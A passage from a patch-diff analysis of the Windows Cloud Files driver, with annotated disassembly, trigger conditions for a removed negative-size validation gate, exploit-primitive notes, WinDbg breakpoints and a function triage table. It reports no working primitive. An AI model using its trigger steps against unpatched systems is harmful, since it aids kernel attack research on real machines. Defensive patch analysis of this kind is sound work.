&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0033A8F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0033AAB&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF09&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Unpatched retained branch (&lt;code&gt;sub_1C0033950&lt;/code&gt;, flag == TRUE, at &lt;code&gt;0x1C00339CB&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339CB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+60h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connectedId&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C0033B05&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connectedId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339DC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0033A07&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0033A07&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339EA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00339EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jle&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C0033B05&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Create-new path (present in both binaries), initializing a fresh entry (unpatched &lt;code&gt;0x1C0033B5C&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+arg_28&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+60h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connectedId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+2Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+arg_38&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding 1 (the delivered fix)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Ensure the target volume is attached to the Cloud Files filter (&lt;code&gt;cldflt.sys&lt;/code&gt;), typically via OneDrive or Files On-Demand.&lt;/li&gt;
&lt;li&gt;Have the registered user-mode sync provider issue a placeholder-update operation whose size / valid-data-length field is negative (a signed 64-bit value with the sign bit set), reaching &lt;code&gt;HsmFltProcessUpdatePlaceholder&lt;/code&gt; and then &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the unpatched driver, if the staging feature &lt;code&gt;g_Feature_2333116728_58628732&lt;/code&gt; is disabled, the &lt;code&gt;*a9 &amp;lt; 0&lt;/code&gt; rejection is skipped and the negative size proceeds to &lt;code&gt;FltSetInformationFile(FileEndOfFileInformation)&lt;/code&gt; / &lt;code&gt;HsmpSetFileVDL&lt;/code&gt;. In the patched driver the negative size is rejected with &lt;code&gt;STATUS 0xC000CF0B&lt;/code&gt; unconditionally.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 (no security-relevant behavior)&lt;/h3&gt;
&lt;p&gt;To exercise the divergent legacy path in the unpatched driver:
1. Ensure the target volume is attached to the Cloud Files filter.
2. Have a user-mode component acting as a cloud sync provider send a connect-sync-root service command over the filter communication port, reaching &lt;code&gt;CldiPortProcessServiceCommands (sub_1C002A7E8)&lt;/code&gt; and then &lt;code&gt;CldSyncConnectRoot (sub_1C0033950)&lt;/code&gt;.
3. Arrange for an existing AVL sync-root entry to be present so &lt;code&gt;RtlLookupElementGenericTableAvl&lt;/code&gt; returns a match.
4. With the feature flag in the legacy (&lt;code&gt;FALSE&lt;/code&gt;) state, an entry whose connected id (&lt;code&gt;+0x60&lt;/code&gt;) is &lt;code&gt;0&lt;/code&gt; returns &lt;code&gt;STATUS 0xC000CF09&lt;/code&gt; instead of being recreated as in the patched path.
5. Both paths still require &lt;code&gt;refcount (+0x30) &amp;gt; 0&lt;/code&gt; before returning an existing entry, so no stale/refcount-exhausted entry is returned in either binary.&lt;/p&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding 1 primitive:&lt;/strong&gt; No memory-corruption primitive is demonstrated. The change consistently rejects a caller-supplied negative file size / valid-data-length that would otherwise reach &lt;code&gt;FltSetInformationFile(FileEndOfFileInformation)&lt;/code&gt; and &lt;code&gt;HsmpSetFileVDL&lt;/code&gt;. Any follow-on impact (for example, exposing uninitialized data by extending valid-data-length) would depend on the file-system layer's own handling of the value and is not demonstrated here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 2 primitive:&lt;/strong&gt; No memory-safety primitive is confirmed. Both the legacy and unified paths gate reuse on &lt;code&gt;refcount &amp;gt; 0&lt;/code&gt;, so a released entry is not returned to the caller. The observable difference is a control-flow divergence (error vs recreate) for a disconnected AVL slot.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt; (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cldflt_unpatched!HsmiOpUpdatePlaceholderFile                 ; sub_1C006BC60
bp 0x1c006bd4a &amp;quot;printf \&amp;quot;Feature Eval\\n\&amp;quot;; g&amp;quot;                  ; g_Feature_2333116728_58628732 gate
bp 0x1c006bd60 &amp;quot;printf \&amp;quot;*a9 = %I64x\\n\&amp;quot;, poi(@r12); g&amp;quot;        ; negative-size check operand
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C006BD4A&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;EvaluateCurrentState&lt;/code&gt; return in &lt;code&gt;EAX&lt;/code&gt;. &lt;code&gt;0&lt;/code&gt; (&lt;code&gt;FALSE&lt;/code&gt;, feature off) takes the &lt;code&gt;jz&lt;/code&gt; at &lt;code&gt;0x1C006BD51&lt;/code&gt; and skips the negative-size rejection entirely.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C006BD60&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;[r12]&lt;/code&gt; is &lt;code&gt;*a9&lt;/code&gt;; the &lt;code&gt;jge&lt;/code&gt; at &lt;code&gt;0x1C006BD64&lt;/code&gt; skips the rejection when &lt;code&gt;*a9 &amp;gt;= 0&lt;/code&gt;. In the patched build (&lt;code&gt;0x1C006AA9E&lt;/code&gt;) the equivalent check runs with no preceding feature test.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2 — &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cldflt_unpatched!CldSyncConnectRoot                     ; sub_1C0033950
bp 0x1c00339be &amp;quot;printf \&amp;quot;Feature Flag Eval\\n\&amp;quot;; g&amp;quot;        ; EvaluateCurrentState call
bp 0x1c0033a79 &amp;quot;printf \&amp;quot;Legacy branch refcount: %x\\n\&amp;quot;, poi(@rsi+30); g&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C00339BE&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;EvaluateCurrentState&lt;/code&gt; return in &lt;code&gt;EAX&lt;/code&gt;. &lt;code&gt;0&lt;/code&gt; (&lt;code&gt;FALSE&lt;/code&gt;) selects the legacy branch (&lt;code&gt;loc_1C0033A79&lt;/code&gt;); non-zero selects the retained branch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C0033A79&lt;/code&gt; (legacy branch):&lt;/strong&gt; &lt;code&gt;dword ptr [rsi+30h]&lt;/code&gt; is the refcount; the &lt;code&gt;jle&lt;/code&gt; at &lt;code&gt;0x1C0033A7E&lt;/code&gt; diverts to the create-new path when it is &lt;code&gt;&amp;lt;= 0&lt;/code&gt;. The entry is returned only when refcount &lt;code&gt;&amp;gt; 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; In the legacy branch, an entry with &lt;code&gt;refcount &amp;lt;= 0&lt;/code&gt; diverts to create-new (&lt;code&gt;loc_1C0033B05&lt;/code&gt;); an entry with &lt;code&gt;refcount &amp;gt; 0&lt;/code&gt; and connected id &lt;code&gt;0&lt;/code&gt; returns &lt;code&gt;STATUS 0xC000CF09&lt;/code&gt;. No freed entry is handed back. The patched path recreates the slot instead of erroring.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Function&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Similarity&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Change Type&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Security Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;HsmiOpUpdatePlaceholderFile (sub_1C006BC60)&lt;/code&gt; → &lt;code&gt;(sub_1C006A9B8)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.8861&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Security Relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Removed the &lt;code&gt;g_Feature_2333116728_58628732&lt;/code&gt; gate around the &lt;code&gt;*a9 &amp;lt; 0&lt;/code&gt; negative file-size / valid-data-length rejection (&lt;code&gt;STATUS 0xC000CF0B&lt;/code&gt;), making it unconditional in the patched build. The value feeds &lt;code&gt;FltSetInformationFile(FileEndOfFileInformation)&lt;/code&gt;, &lt;code&gt;HsmpSetFileVDL&lt;/code&gt;, and the placeholder size field. Delivered input-validation hardening (CWE-1284).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CldSyncConnectRoot (sub_1C0033950)&lt;/code&gt; → &lt;code&gt;(sub_1C0032880)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.8192&lt;/td&gt;
&lt;td style="text-align: left;"&gt;No security impact&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Removed the &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue_60816934&lt;/code&gt; flag divergence in sync-root entry reuse; unified to the branch that recreates a disconnected slot and gates reuse on refcount. Both branches already gated refcount &lt;code&gt;&amp;gt; 0&lt;/code&gt;, so no use-after-free difference.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CldiPortProcessServiceCommands (sub_1C002A7E8)&lt;/code&gt; → &lt;code&gt;(sub_1C00297E4)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.9691&lt;/td&gt;
&lt;td style="text-align: left;"&gt;No security impact&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Removed the flag selecting the insert method; patched always uses &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt;. Both flag paths already inserted the entry, so no tracking bypass.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;EvaluateCurrentState (sub_1C0001D74)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.6686&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Feature-evaluation helper specialized: unpatched takes a feature-descriptor pointer arg; patched at this address resolves &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue_60816934&lt;/code&gt; directly (no argument). Signature change only.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;HsmiOpDehydrateNotificationCallback (sub_1C006ADB0)&lt;/code&gt; → &lt;code&gt;(sub_1C0069B10)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.9918&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;EvaluateCurrentState&lt;/code&gt; call-signature change and &lt;code&gt;memset&lt;/code&gt; wrapper relocation (&lt;code&gt;sub_1C0018440&lt;/code&gt;→&lt;code&gt;sub_1C0018400&lt;/code&gt;). The &lt;code&gt;PostRelOutlookHangIssue&lt;/code&gt; gate around the range check is retained (still evaluated) in both builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CldiPortProcessTransfer (sub_1C002E5E0)&lt;/code&gt; → &lt;code&gt;(sub_1C002D508)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.9929&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Feature-evaluation call-signature change and logging relocation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CldiPortInsertSyncRootNoLock (sub_1C002A6C8)&lt;/code&gt; → &lt;code&gt;(sub_1C00296C8)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.9019&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Removed a &lt;code&gt;HsmLogSystemEvent (sub_1C000D524)&lt;/code&gt; call from an error path (present at &lt;code&gt;0x1C002A775&lt;/code&gt; in unpatched); global/address relocations. Now the sole insert path used by Finding 3.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;HsmiGrantLockRequest (sub_1C005DC10)&lt;/code&gt; → &lt;code&gt;(sub_1C005C990)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.9590&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Cosmetic&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;HsmDbgBreakOnStatus&lt;/code&gt; relocation (&lt;code&gt;sub_1C0006820&lt;/code&gt;→&lt;code&gt;sub_1C0006830&lt;/code&gt;) and address shifts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CldSyncSendHydrationRequest (sub_1C00352F0)&lt;/code&gt; → &lt;code&gt;(sub_1C003406C)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.9927&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Cosmetic&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;HsmDbgBreakOnStatus&lt;/code&gt; relocation and address shifts.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There were no added or removed functions. The patch is a pure binary diff altering logic in existing functions.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High on the mechanisms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 1:&lt;/strong&gt; The &lt;code&gt;g_Feature_2333116728_58628732&lt;/code&gt; gate around the &lt;code&gt;*a9 &amp;lt; 0&lt;/code&gt; rejection is removed in the patched build (the feature symbol is absent from the patched binary), and the negative-size rejection is enforced unconditionally. The patched build is stricter. No memory-corruption primitive is demonstrated; the rejected quantity is a file size / valid-data-length that the file-system layer further validates, hence Low severity. Whether the unpatched behavior was reachable in the field depends on the runtime state of the staging feature, which is governed by feature configuration and is not determinable from the binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Findings 2 and 3:&lt;/strong&gt; The &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue_60816934&lt;/code&gt; flag removals in &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; and &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; unify two already-equivalent code paths (both gate refcount before reuse; both insert the entry). No memory-safety difference exists between the two branches in either function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note on the feature:&lt;/strong&gt; &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue_60816934&lt;/code&gt; is still evaluated in the patched binary (for example in &lt;code&gt;HsmiOpDehydrateNotificationCallback&lt;/code&gt; and a second guard inside &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt;); only its evaluation call signature changed and, in &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; / &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt;, its branch was collapsed to a single equivalent path.
&lt;/content&gt;&lt;/li&gt;
